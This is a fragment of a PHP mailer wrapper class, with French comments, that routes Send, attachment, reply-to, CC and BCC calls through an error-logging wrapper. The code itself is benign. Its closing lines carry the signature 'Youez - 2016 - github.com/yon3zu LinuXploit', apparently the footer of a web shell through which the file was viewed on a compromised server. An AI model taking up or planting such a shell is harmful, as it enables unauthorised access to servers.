			$this->exceptions = $exceptions;
			if ($this->exceptions) {
				throw $exc;
			}
			return false;
		}
		if ($this->ErrorInfo) {
			$this->log((is_array($function) ? implode('::', $function) : $function) . '() : ' . $this->ErrorInfo, _LOG_ERREUR);
		}

		return $retour;
	}

	/*
	 * Appel des fonctions parents via le callWrapper qui se charge de loger les erreurs
	 */

	/**
	 * Avant le Send() on force le From et le Charset si besoin
	 *
	 * @return bool
	 * @throws Exception
	 */
	public function Send() {
		$this->forceFromIfNeeded();
		if ($this->convertMessageToIso8859) {
			$this->convertMessageFromUtf8ToIso8859();
		}
		$args = func_get_args();
		$res = $this->callWrapper(['parent', 'Send'], $args);
		return $this->sendAlertIfNeeded($res);
	}

	public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment') {
		$args = func_get_args();
		return $this->callWrapper(['parent', 'AddAttachment'], $args);
	}

	public function AddReplyTo($address, $name = '') {
		$args = func_get_args();
		return $this->callWrapper(['parent', 'AddReplyTo'], $args);
	}

	public function AddBCC($address, $name = '') {
		$args = func_get_args();
		return $this->callWrapper(['parent', 'AddBCC'], $args);
	}

	public function AddCC($address, $name = '') {
		$args = func_get_args();
		return $this->callWrapper(['parent', 'AddCC'], $args);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit